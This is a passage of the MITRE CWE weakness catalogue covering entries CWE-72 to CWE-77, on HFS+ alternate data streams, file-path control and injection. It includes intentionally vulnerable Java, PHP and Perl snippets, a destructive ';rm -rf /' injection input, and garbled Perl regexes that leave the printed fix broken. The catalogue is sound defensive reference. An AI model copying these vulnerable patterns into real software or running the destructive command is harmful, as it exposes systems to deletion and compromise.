This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	904	SFP Primary Cluster: Malware	888	2180

### Notes

#### Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows ::DATA alternate data stream

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

### References

[REF-562]Don Parker. "Windows NTFS Alternate Data Streams". 2005 February 6. < <http://www.securityfocus.com/infocus/1822> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

**Weakness ID** : 72

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

### Extended Description

If the product chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the product may take unexpected actions. Further, if the product intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	66	Improper Handling of File Names that Identify Virtual Resources	121

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : macOS (*Prevalence = Undetermined*)

## Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with ".\_" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Demonstrative Examples

### Example 1:

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

## Observed Examples

Reference	Description
<b>CVE-2004-1084</b>	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1084">https://www.cve.org/CVERecord?id=CVE-2004-1084</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

## Notes

### Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

### Research Gap

Under-studied

## References

[REF-578]NetSec. "NetSec Security Advisory: Multiple Vulnerabilities Resulting From Use Of Apple OSX HFS+". BugTraq. 2005 February 6. < <http://seclists.org/bugtraq/2005/Feb/309> >.

## CWE-73: External Control of File Name or Path

**Weakness ID :** 73

**Structure :** Simple

**Abstraction :** Base

## Description

The product allows user input to control or influence paths or file names that are used in filesystem operations.

## Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.







For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1285
ChildOf	C	642	External Control of Critical State Data	1330

Nature	Type	ID	Name	Page
ParentOf		114	Process Control	268
CanPrecede		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CanPrecede		41	Improper Resolution of Path Equivalence	83
CanPrecede		59	Improper Link Resolution Before File Access ('Link Following')	108
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229
CanPrecede		434	Unrestricted Upload of File with Dangerous Type	991

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Unix (*Prevalence = Often*)

**Operating\_System :** Windows (*Prevalence = Often*)

**Operating\_System :** macOS (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Read Files or Directories Modify Files or Directories	
	<i>The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.</i>	
Integrity Confidentiality Availability	Modify Files or Directories Execute Unauthorized Code or Commands	
	<i>The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other)	
	<i>The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for</i>	



Scope	Impact	Likelihood
	<i>a large file, or points to a special device or a file that does not have the format that the application expects.</i>	

## Detection Methods

### Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

## Potential Mitigations

### Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` provide this capability.

### Phase: Architecture and Design

#### Phase: Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix `chroot` jail and `AppArmor`. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a

directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

#### Phase: Implementation

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "../" sequences and symbolic links (CWE-23, CWE-59).

#### Phase: Installation

#### Phase: Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

#### Phase: Operation

#### Phase: Implementation

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

#### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

#### Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### Demonstrative Examples

#### Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../..tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

*Example Language: Java*

*(Bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/aptr/reports/" + rName);
...
rFile.delete();
```

#### Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java

(Bad)

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

## Observed Examples

Reference	Description
<b>CVE-2008-5748</b>	Chain: external control of values for user's desired language and theme enables path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5748">https://www.cve.org/CVERecord?id=CVE-2008-5748</a>
<b>CVE-2008-5764</b>	Chain: external control of user's target language enables remote file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5764">https://www.cve.org/CVERecord?id=CVE-2008-5764</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf		752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

### Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc. However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the `register_globals` setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

## Taxonomy Mappings

*CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')*

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Path Manipulation
Software Fault Patterns	SFP16		Path Traversal

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
267	Leverage Alternate Encoding

#### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

**Weakness ID :** 74

**Structure :** Simple

**Abstraction :** Class

#### Description

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

#### Extended Description












Software or other automated logic has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed.

#### Relationships










The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1440
ParentOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	138
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
ParentOf		91	XML Injection (aka Blind XPath Injection)	209
ParentOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	211
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	213
ParentOf		99	Improper Control of Resource Identifiers ('Resource Injection')	235
ParentOf		943	Improper Neutralization of Special Elements in Data Query Logic	1720
ParentOf		1236	Improper Neutralization of Formula Elements in a CSV File	1865
CanFollow		20	Improper Input Validation	19
CanFollow		116	Improper Encoding or Escaping of Output	272

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	195
ParentOf		91	XML Injection (aka Blind XPath Injection)	209
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	213
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1692
ParentOf		1236	Improper Neutralization of Formula Elements in a CSV File	1865

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.</i>	
Access Control	Bypass Protection Mechanism  <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Other	Alter Execution Logic  <i>Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.</i>	
Integrity Other	Other  <i>Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.</i>	
Non-Repudiation	Hide Activities  <i>Often the actions performed by injected control code are unlogged.</i>	

**Potential Mitigations****Phase: Requirements**

Programming languages and supporting technologies might be chosen which are not subject to these issues.

**Phase: Implementation**

Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

**Demonstrative Examples****Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

*Example Language: PHP*

*(Bad)*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The \$userName variable is not checked for malicious input. An attacker could set the \$userName variable to an arbitrary OS command such as:

*Example Language:*

*(Attack)*

```
;rm -rf /
```

Which would result in \$command being:



*Example Language:**(Result)*

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

**Example 2:**

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate\_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

*Example Language: Perl**(Bad)*

```
my $arg = GetArgument("filename");
do_listing($arg);
sub do_listing {
my($fname) = @_;
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
return;
}
# build command
my $cmd = "/bin/ls -l $fname";
system($cmd);
}
sub validate_name {
my($name) = @_;
if ($name =~ /^[w\^-]+$/) {
return(1);
}
else {
return(0);
}
}
```

However, validate\_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate\_name to force the first character of the filename to be a letter or number, such as:

*Example Language: Perl**(Good)*

```
if ($name =~ /^[w\w\^-]+$/) ...
```

**Observed Examples**

## CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Reference	Description
<b>CVE-2022-36069</b>	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2022-36069">https://www.cve.org/CVERecord?id=CVE-2022-36069</a>
<b>CVE-1999-0067</b>	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0067">https://www.cve.org/CVERecord?id=CVE-1999-0067</a>
<b>CVE-2022-1509</b>	injection of sed script syntax ("sed injection") <a href="https://www.cve.org/CVERecord?id=CVE-2022-1509">https://www.cve.org/CVERecord?id=CVE-2022-1509</a>
<b>CVE-2020-9054</b>	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>
<b>CVE-2021-44228</b>	Product does not neutralize \${xyz} style expressions, allowing remote code execution. (log4shell vulnerability) <a href="https://www.cve.org/CVERecord?id=CVE-2021-44228">https://www.cve.org/CVERecord?id=CVE-2021-44228</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

## Theoretical

Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Injection problem ('data' used as something else)
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
28	Fuzzing
34	HTTP Response Splitting
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
51	Poison Web Service Registry
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
83	XPath Injection
84	XQuery Injection
101	Server Side Include (SSI) Injection
105	HTTP Request Splitting
108	Command Line Execution through SQL Injection
120	Double Encoding
135	Format String Injection
250	XML Injection
267	Leverage Alternate Encoding
273	HTTP Response Smuggling

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

**Weakness ID** : 75

**Structure** : Simple

**Abstraction** : Class



### Description

The product does not adequately filter user-controlled input for special elements with control implications.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		76	Improper Neutralization of Equivalent Special Elements	139

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		

**Potential Mitigations****Phase: Requirements**


Programming languages and supporting technologies might be chosen which are not subject to these issues.

**Phase: Implementation**

Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Special Element Injection

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
81	Web Server Logs Tampering
93	Log Injection-Tampering-Forging

**CWE-76: Improper Neutralization of Equivalent Special Elements**

**Weakness ID** : 76

**Structure** : Simple

**Abstraction** : Base

**Description**

The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

### Extended Description

The product may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the product may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some \*nix systems could be expanded to an absolute pathname. Alternately, the product might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	138

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

#### Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter equivalent special element syntax from all input.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Equivalent Special Element Injection

## CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

**Weakness ID :** 77

**Structure :** Simple

**Abstraction :** Class

### Description

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

### Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.

Command injection is a common problem with wrapper programs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
ParentOf		624	Executable Regular Expression Error	1308



Nature	Type	ID	Name	Page
ParentOf	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1692

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2226

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
ParentOf	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
ParentOf	B	624	Executable Regular Expression Error	1308
ParentOf	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1692

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	147
ParentOf	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	188
ParentOf	B	624	Executable Regular Expression Error	1308
ParentOf	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1692

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
